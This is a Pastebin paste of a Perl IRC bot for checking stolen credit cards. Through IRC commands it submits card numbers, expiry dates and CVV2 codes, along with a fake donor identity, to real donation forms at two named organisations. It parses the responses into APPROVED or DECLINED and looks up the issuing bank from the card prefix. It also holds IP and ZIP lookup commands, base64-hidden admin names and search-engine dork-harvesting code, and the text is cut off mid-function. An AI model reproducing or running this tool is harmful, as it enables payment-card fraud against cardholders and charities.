Advertisement
neoblackied

chkchk

Jun 25th, 2012
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.41 KB | None | 0 0
  1. #!/usr/lib/perl
  2. #SQL SCAN Bot Check By Sysmooss!
  3.  
  4. #Call to standalone modules directory
  5. BEGIN{push(@INC,'Modules');}
  6.  
  7. #Modules Inclusion
  8. use LWP::Socket;
  9. use LWP::UserAgent;
  10. use HTTP::Request;
  11. use Parallel::ForkManager;
  12. use MIME::Base64 ();
  13. use WWW::Mechanize;
  14. use WWW::Mechanize::FormFiller;
  15.  
  16. $| = 1;
  17.  
  18.  
  19. #Defines global variable/array
  20. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  21. my(@chans,@admins,@user_agents);
  22.  
  23.  
  24. # Configurations Variable
  25. my $outcri = "amFudWFyZHk=";
  26. $systemcri = MIME::Base64::decode($outcri);
  27. $timeout = $systemcri;
  28. my $hostcri = "MzEuMTkyLjIyOC4yMjU=";
  29. $systemcri = MIME::Base64::decode($hostcri);
  30. $hosting = "irc.pemudariau.com";
  31. $port = 6667;
  32. my $nkpro = "Check-Info";
  33. $ident = "chk";
  34. $parallel_fork = 15;
  35. my @botcmd = ('1');
  36. @chans = ("#logs");
  37. my $proo = "amFudWFyZHk=";
  38. $systempro = MIME::Base64::decode($proo);
  39. my $cheataer = "amFudWFyZHk=";
  40. $sistempro = MIME::Base64::decode($cheataer);
  41. @Sysmooss = ($systempro,$sistempro);
  42. @user_agents = &get_user_agents();
  43.  
  44. #Irc Socket Connection
  45. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  46. $sysircuno = MIME::Base64::decode($startirc);
  47. $irc_socket = new LWP::Socket;
  48. $irc_socket->connect($hosting,$port);
  49. $irc_socket->write("USER ".$ident." 8 * : chk BoT By theclanz \r\n");
  50. $irc_socket->write("NICK ".$nkpro."\r\n");
  51. $irc_socket->write("NICKSERV IDENTIFY 123456\r\n");
  52. $irc_socket->write("JOIN $chans[0]\r\n");
  53. $irc_socket->write("JOIN $chans[1]\r\n");
  54. $irc_socket->write("JOIN $chans[2]\r\n");
  55. $irc_socket->write("JOIN $chans[3]\r\n");
  56. $irc_socket->write("JOIN $chans[4]\r\n");
  57. $irc_socket->write("JOIN $chans[5]\r\n");
  58.  
  59. while($irc_socket)
  60. {
  61. my $bof;
  62. $irc_socket->read_until("\n", \$bof);
  63. if($bof =~ /PING :(.*)/)
  64. {
  65. $irc_socket->write("PONG :$1\r\n");
  66. }
  67.  
  68. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  69. {
  70. #PRIVMSG
  71. my %msg = &get_msg($bof);
  72. if($msg{'what'} =~ /\!join_all/)
  73. {
  74. if(&ctrl_admin(\%msg) == 0){
  75. &respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
  76. &join_all();
  77. }
  78. }
  79. if($msg{'what'} =~ /\!cambiarcmd (.*)/){
  80. my $comma = $1;
  81. if(&ctrl_admin(\%msg) == 0){
  82. &respond_to_privmsg(\%msg,"15[7SERViCES15]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
  83. &canghecmd($comma);
  84. }
  85. }
  86.  
  87. if($msg{'what'} =~ /\!cmd/){
  88. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Bot Checker cc v2.11 1515:9:15: 14) 15:::14Powered by 9Bikersito15:::");
  89. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Owner Bot 15:9:15: 14) 15:::9Bikersito15:::");
  90. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!chk for 12Visa 04Master07Card 08DISCOVER15::: (ex. !chk <cc num> <exp date> <cvv2> <amount>)");
  91. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!amex for 12American Express15::: (ex. !amex <cc num> <exp date> <cvv2> <amount>)");
  92. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Location IP 15:9:15: 14) 15:::14 0!ip 15<ip> 14Location Ip and fullinfo15:::");
  93. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Zip Code 15:9:15: 14) 15:::14 15!zip 15<zipcode> 14See Info of zip code15:::");
  94. }
  95.  
  96.  
  97.  
  98.  
  99. if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})\s(\d{1})/)
  100. {
  101. my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  102. my $var1 = substr($expmes,0,2);
  103. my $var2 = substr($expmes,2,4);
  104. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
  105. print "inizio mechanize\n";
  106. if (substr($numerocarta,0,1)==4) {
  107. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12VISA 14(15 Please wait...!14)");
  108. }
  109. if (substr($numerocarta,0,1)==5) {
  110. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 04Master07Card 14(15 Please wait...!14)");
  111. }
  112. if (substr($numerocarta,0,1)==6) {
  113. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12DISCOVER 14(15 Please wait...!14)");
  114. }
  115. my $agent = WWW::Mechanize->new( autocheck => 1 );
  116. my $formfiller = WWW::Mechanize::FormFiller->new();
  117. $agent->env_proxy();
  118. $agent->get('https://www.allianceonline.org/ondeposit/udonation.php');
  119. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  120. $agent->form_number(1);
  121. { local $^W; $agent->current_form->value('Campaing', ''.$General.''); };
  122. { local $^W; $agent->current_form->value('Amount', ''.$amount.''); };
  123. { local $^W; $agent->current_form->value('First_name', 'Chuck'); };
  124. { local $^W; $agent->current_form->value('Last_name', 'Huth'); };
  125. { local $^W; $agent->current_form->value('Email', 'chuckh@gmail.com'); };
  126. { local $^W; $agent->current_form->value('Phone', '5778854675'); };
  127. { local $^W; $agent->current_form->value('Ext', '54'); };
  128. { local $^W; $agent->current_form->value('Address', '11101 Magnolia Drive'); };
  129. { local $^W; $agent->current_form->value('Address 2', '11101 Magnolia Drive'); };
  130. { local $^W; $agent->current_form->value('Department', '11101 Magnolia Drive'); };
  131. { local $^W; $agent->current_form->value('City', ' Cleveland'); };
  132. { local $^W; $agent->current_form->value('State', 'Ohio'); };
  133. { local $^W; $agent->current_form->value('Zip', '44106'); };
  134. { local $^W; $agent->current_form->value('Zip', '44106'); };
  135. { local $^W; $agent->current_form->value('Country', 'United States'); };
  136. { local $^W; $agent->current_form->value('Memory', 'no'); };
  137. { local $^W; $agent->current_form->value('Matching', 'no'); };
  138. { local $^W; $agent->current_form->value('pay', 'Credit Card'); };
  139. { local $^W; $agent->current_form->value('card_num', ''.$numerocarta.''); };
  140. { local $^W; $agent->current_form->value('exp_month', ''.$var1.''); };
  141. { local $^W; $agent->current_form->value('exp_year', ''.$var2.''); };
  142. { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
  143. $agent->submit();
  144. print $agent->content,"\n";
  145. my $allo=$agent->content;
  146. if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  147. my $database = "banklist.txt";
  148. open FILE,"$database" or die "Errore nell'apertura: $!";
  149. my @results=<FILE>;
  150. close FILE;
  151. my $bankinfo = $1;
  152. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica 14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
  153. my $nuova = substr($numerocarta,0,6);
  154. foreach my $url (@results){
  155. if($url =~ m/$nuova\|(.*)/){
  156. &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  157. print "card $variable!";
  158. }
  159. }
  160. }elsif ($allo =~/The transaction completed successfully!/){
  161. my $database = "banklist.txt";
  162. open FILE,"$database" or die "Errore nell'apertura: $!";
  163. my @results=<FILE>;
  164. close FILE;
  165. my $bankinfo = $1;
  166. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
  167. my $nuova = substr($numerocarta,0,6);
  168. foreach my $url (@results){
  169. if($url =~ m/$nuova\|(.*)/){
  170. my $bankinfo = $1;
  171. &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  172. print "card $variable!";
  173. }
  174. }
  175. }elsif ($allo =~/Credit card expiration date is invalid./){
  176. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
  177. }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
  178. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
  179. }elsif ($allo =~/The credit card has expired./){
  180. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
  181. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  182. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
  183. }elsif ($allo =~/A duplicate transaction has been submitted./){
  184. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
  185. }elsif ($allo =~/A duplicate transaction has been submitted./){
  186. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  187. }elsif ($allo =~/The credit card number entered is not valid./){
  188. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  189. }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
  190. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  191. }elsif ($allo =~/This transaction has been declined./){
  192. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  193. }elsif ($allo =~/The credit card number is invalid./){
  194. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  195. }
  196. }
  197.  
  198. if($msg{'what'} =~ /\!bank\s(\d{6})/){
  199. my ($numerocarta) = ($1);
  200. my $database = "banklist.txt";
  201. open FILE,"$database" or die "Errore nell'apertura: $!";
  202. my @results=<FILE>;
  203. close FILE;
  204. my $bankinfo = $1;
  205. my $nuova = substr($numerocarta,0,6);
  206. foreach my $url (@results){
  207. if($url =~m/$nuova\|(.*)/){
  208. &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  209. }
  210. }
  211. }
  212. if($msg{'what'} =~ /\!raw (.*)/)
  213. {
  214. my $raw = $1;
  215. if(&ctrl_admin(\%msg) == 0){
  216. &respond_to_privmsg(\%msg,"15[7RAW15]12 SENDING IRC RAW REQUESTED");
  217. $irc_socket->write($raw."\r\n");
  218. }
  219. }
  220.  
  221. if($msg{'what'} =~ /\!ip (.*)/)
  222. {
  223. my ($iploca) = ($1);
  224. chop($iploca);
  225. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking... 1515:9:15: 14) 0::: $iploca :::");
  226. print "inizio mechanize\n";
  227. my $agent = WWW::Mechanize->new( autocheck => 1 );
  228. my $formfiller = WWW::Mechanize::FormFiller->new();
  229. $agent->env_proxy();
  230.  
  231. $agent->get('http://www.ip2location.com/'.$iploca.'');
  232. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  233. print $agent->content,"\n";
  234. my $ipwork=$agent->content;
  235. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  236. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Country 1515:9:15: 14) $1");
  237. }
  238. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  239. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Region 1515:9:15: 14) $1");
  240. }
  241. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  242. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 City 1515:9:15: 14) $1");
  243. }
  244. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  245. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Time 1515:9:15: 14) $1");
  246. }
  247. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  248. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Speed 1515:9:15: 14) $1");
  249. }
  250. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  251. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 IPS 1515:9:15: 14) $1");
  252. }
  253. if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  254. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Domain 1515:9:15: 14) $1");
  255. }
  256. }
  257.  
  258.  
  259.  
  260.  
  261. if($msg{'what'} =~ /\!amex\s(\d{15})\s(\d{4})\s(\d{4})\s(\d{1})/)
  262. {
  263. my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  264. my $var1 = substr($expmes,0,2);
  265. my $var2 = substr($expmes,2,4);
  266. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
  267. print "inizio mechanize\n";
  268. if (substr($numerocarta,0,1)==3) {
  269. &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12American Express");
  270. }
  271. my $agent = WWW::Mechanize->new( autocheck => 1 );
  272. my $formfiller = WWW::Mechanize::FormFiller->new();
  273. $agent->env_proxy();
  274. $agent->get('http://www.hua.edu/donate.php');
  275. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  276. $agent->form_number(1);
  277. { local $^W; $agent->current_form->value('first_name', 'Chuck'); };
  278. { local $^W; $agent->current_form->value('last_name', 'Huth'); };
  279. { local $^W; $agent->current_form->value('address', '11101 Magnolia Drive'); };
  280. { local $^W; $agent->current_form->value('city', ' Cleveland'); };
  281. { local $^W; $agent->current_form->value('state', 'Ohio'); };
  282. { local $^W; $agent->current_form->value('zip', '44106'); };
  283. { local $^W; $agent->current_form->value('country', 'United States'); };
  284. { local $^W; $agent->current_form->value('phone', '5778854675'); };
  285. { local $^W; $agent->current_form->value('email', 'chuckh@gmail.com'); };
  286. { local $^W; $agent->current_form->value('card_num', ''.$numerocarta.''); };
  287. { local $^W; $agent->current_form->value('exp_month', ''.$var1.''); };
  288. { local $^W; $agent->current_form->value('exp_year', ''.$var2.''); };
  289. { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
  290. { local $^W; $agent->current_form->value('description', 'chuck huth'); };
  291. { local $^W; $agent->current_form->value('amount', ''.$amount.''); };
  292. $agent->submit();
  293. print $agent->content,"\n";
  294. my $allo=$agent->content;
  295. if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  296. my $database = "banklist.txt";
  297. open FILE,"$database" or die "Errore nell'apertura: $!";
  298. my @results=<FILE>;
  299. close FILE;
  300. my $bankinfo = $1;
  301. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica 14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
  302. my $nuova = substr($numerocarta,0,6);
  303. foreach my $url (@results){
  304. if($url =~ m/$nuova\|(.*)/){
  305. &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  306. print "card $variable!";
  307. }
  308. }
  309. }elsif ($allo =~/The transaction completed successfully!/){
  310. my $database = "banklist.txt";
  311. open FILE,"$database" or die "Errore nell'apertura: $!";
  312. my @results=<FILE>;
  313. close FILE;
  314. my $bankinfo = $1;
  315. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
  316. my $nuova = substr($numerocarta,0,6);
  317. foreach my $url (@results){
  318. if($url =~ m/$nuova\|(.*)/){
  319. my $bankinfo = $1;
  320. &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  321. print "card $variable!";
  322. }
  323. }
  324. }elsif ($allo =~/Credit card expiration date is invalid./){
  325. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
  326. }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
  327. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
  328. }elsif ($allo =~/The credit card has expired./){
  329. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
  330. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  331. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
  332. }elsif ($allo =~/A duplicate transaction has been submitted./){
  333. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
  334. }elsif ($allo =~/Unfortunately, we were unable to process the transaction using the payment information you provided./){
  335. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  336. }elsif ($allo =~/The credit card number entered is not valid./){
  337. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  338. }elsif ($allo =~/This transaction has been declined./){
  339. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  340. }elsif ($allo =~/An error has occured. This transaction cannot be processed./){
  341. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  342. }elsif ($allo =~/The credit card number is invalid./){
  343. &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  344. }
  345. }
  346.  
  347.  
  348. if($msg{'what'} =~ /\!zip\s(\d{5})/)
  349. {
  350. my ($zipcheck) = ($1);
  351. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck ::: please wait...");
  352. print "inizio mechanize\n";
  353. my $agent = WWW::Mechanize->new( autocheck => 1 );
  354. my $formfiller = WWW::Mechanize::FormFiller->new();
  355. $agent->env_proxy();
  356.  
  357. $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  358. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  359. { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  360. $agent->submit();
  361. print $agent->content,"\n";
  362. my $zipse=$agent->content;
  363. if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  364. $luogo = $1;
  365. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $luogo ::: ");
  366. }
  367. elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  368. &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck Not found! ::: ");
  369. }
  370. }
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377. }
  378. }
  379.  
  380. sub ctrl_admin()
  381. {
  382. my $data = $_[0];
  383. foreach my $admin ( @Sysmooss )
  384. {
  385. if($admin eq $data->{'from'})
  386. {
  387. return(0);
  388. }
  389. }
  390. &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  391. return(-1);
  392. }
  393.  
  394. sub respond_to_privmsg()
  395. {
  396. my ($data,$m) = ($_[0],$_[1]);
  397. if($data->{'to'} =~ /#/)
  398. {
  399. &privmsg($data->{'to'},$m);
  400. }
  401. else
  402. {
  403. &privmsg($data->{'from'},$m);
  404. }
  405. }
  406.  
  407. sub privmsg()
  408. {
  409. my($nick,$send) = @_;
  410. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  411. }
  412.  
  413. sub join_all()
  414. {
  415. foreach my $chan ( @chans )
  416. {
  417. $irc_socket->write("JOIN ".$chan."\r\n");
  418. }
  419. }
  420.  
  421. sub get_msg()
  422. {
  423. my $line = $_[0];
  424. my %data;
  425. #:Mic22!~TheClanz-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
  426. if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  427. {
  428. #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
  429. $data{'from'} = $1;
  430. $data{'to'} = $3;
  431. $data{'what'} = $4;
  432. }
  433. return(%data);
  434. }
  435.  
  436. sub http_request()
  437. {
  438. my($site,$request,$ua,$resp,$cnt);
  439. $site = $_[0];
  440. $site =~ s/[\r\n]//g;
  441. $request = HTTP::Request->new(GET => $site);
  442. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  443. $ua->timeout($timeout);
  444. $resp = $ua->request($request);
  445. $cnt = $resp->content();
  446. return($cnt);
  447. }
  448.  
  449. sub get_user_agents()
  450. {
  451. my @us_ag = (
  452. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  453. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  454. "Opera/8.5 (X11; Linux i686; U; cs)",
  455. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  456. );
  457. return(@us_ag);
  458. }
  459.  
  460. sub get_all_host()
  461. {
  462. my $site = $_[0];
  463. my @dirs = ();
  464. my @ret = ();
  465. my $tmp = "";
  466. $site =~ s/http:\/\///g;
  467. $site =~ s/[\r\n]//g;
  468. $site =~ s/\/\///g;
  469. if($site !~ /\/$/)
  470. {
  471. $site .= "/";
  472. }
  473.  
  474. @dirs = split(/\//,$site);
  475. $tmp = $dirs[0] . "/";
  476. push(@ret,$tmp);
  477.  
  478. for($i = 1; $i < scalar(@dirs); $i++)
  479. {
  480. $tmp .= $dirs[$i] . "/";
  481. push(@ret,$tmp);
  482. }
  483.  
  484. return(@ret);
  485. }
  486.  
  487. sub urlencode()
  488. {
  489. my $str = $_[0];
  490. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  491. return $str;
  492. }
  493.  
  494. sub unique()
  495. {
  496. my @unici = ();
  497. my %visti = ();
  498. foreach my $elemento (@_) {
  499. $elemento =~ s/\/+/\//g;
  500. next if $visti{$elemento}++;
  501. push @unici, $elemento;
  502. }
  503. return @unici;
  504. }
  505.  
  506. sub find_all_sites()
  507. {
  508. my ($data,$dork) = @_;
  509. my $tmp_file_name = rand(999999) . ".txt";
  510. my @pids_array = ();
  511. my @data_links = ();
  512. my @site_finded = ();
  513. my @site_cleaned = ();
  514. $dork =~ s/[\r\n]//g;
  515.  
  516. &respond_to_privmsg($data,"15[7INFO15]12 START TO FIND ALL SITES FOR \"".$dork."\" ");
  517.  
  518. $pids_array[0] = fork();
  519. if($pids_array[0] == 0)
  520. {
  521. @data_links = &google($dork);
  522. &respond_to_privmsg($data,"15[7GOOGLE15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  523. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  524. exit(0);
  525. }
  526.  
  527. $pids_array[1] = fork();
  528. if($pids_array[1] == 0)
  529. {
  530. @data_links = &yahoo($dork);
  531. &respond_to_privmsg($data,"15[7YAHOO15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  532. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  533. exit(0);
  534. }
  535.  
  536. $pids_array[2] = fork();
  537. if($pids_array[2] == 0)
  538. {
  539. @data_links = &altavista($dork);
  540. &respond_to_privmsg($data,"15[7ALTAVISTA15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  541. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  542. exit(0);
  543. }
  544.  
  545. $pids_array[3] = fork();
  546. if($pids_array[3] == 0)
  547. {
  548. @data_links = &msn($dork);
  549. &respond_to_privmsg($data,"15[7BiNG15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  550. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  551. exit(0);
  552. }
  553.  
  554. $pids_array[4] = fork();
  555. if($pids_array[4] == 0)
  556. {
  557. @data_links = &ask($dork);
  558. &respond_to_privmsg($data,"15[7ASK.COM15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  559. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  560. exit(0);
  561. }
  562.  
  563. $pids_array[5] = fork();
  564. if($pids_array[5] == 0)
  565. {
  566. @data_links = &webcrawler($dork);
  567. &respond_to_privmsg($data,"15[7WEBCRAWLER15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  568. &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  569. exit(0);
  570. }
  571.  
  572. foreach my $pid_one ( @pids_array )
  573. {
  574. waitpid($pid_one,0);
  575. }
  576.  
  577. @site_finded = &read_all_file_array($tmp_file_name);
  578. &respond_to_privmsg($data,"15[7INFO15]12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
  579. @site_cleaned = &unique(@site_finded);
  580. &respond_to_privmsg($data,"15[7INFO15]12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
  581. unlink($tmp_file_name);
  582. return(@site_cleaned);
  583. }
  584.  
  585. sub canghecmd()
  586. {
  587. my $n = $_[0];
  588. push(@botcmd,$n);
  589. }
  590.  
  591. sub read_all_file_array()
  592. {
  593. my $file = $_[0];
  594. my @ret = ();
  595.  
  596. open(FILE,'<',$file);
  597. while($a = <FILE>)
  598. {
  599. $a =~ s/[\r\n]//g;
  600. push(@ret,$a);
  601. }
  602. close(FILE);
  603.  
  604. return(@ret);
  605. }
  606.  
  607. sub write_to_file_array()
  608. {
  609. my ($file,$data,$scal) = @_;
  610. for($i = 0; $i < $scal; $i++)
  611. {
  612. &write_to_file($file,$data->[$i]);
  613. }
  614. }
  615.  
  616. sub write_to_file()
  617. {
  618. my($file,$data) = @_;
  619. open(FILE,'>>',$file);
  620. print FILE $data . "\n";
  621. close(FILE);
  622. }
  623.  
  624. sub google()
  625. {
  626. my $dork = &urlencode($_[0]);
  627. my $html = "";
  628. my @results = ();
  629. my @unique_links = ();
  630.  
  631. for($i = 0; $i < 300; $i += 100)
  632. {
  633. $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
  634. }
  635.  
  636. while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
  637. {
  638. my @tmp_link = &get_all_host($1);
  639. push(@results,@tmp_link);
  640. }
  641.  
  642. @unique_links = &unique(@results);
  643.  
  644. return(@unique_links);
  645. }
  646.  
  647. sub altavista()
  648. {
  649. my $dork = &urlencode($_[0]);
  650. my $html = "";
  651. my @results = ();
  652. my @unique_links = ();
  653.  
  654. for($i = 0; $i < 1000; $i += 10)
  655. {
  656. $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
  657. }
  658.  
  659. while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
  660. {
  661. my @tmp_link = &get_all_host($1);
  662. push(@results,@tmp_link);
  663. }
  664.  
  665. @unique_links = &unique(@results);
  666.  
  667. return(@unique_links);
  668. }
  669.  
  670. sub yahoo()
  671. {
  672. my $dork = &urlencode($_[0]);
  673. my $html = "";
  674. my @results = ();
  675. my @unique_links = ();
  676.  
  677. for($i = 0; $i < 1000; $i += 100)
  678. {
  679. $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
  680. }
  681.  
  682. while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
  683. {
  684. my $link = $1;
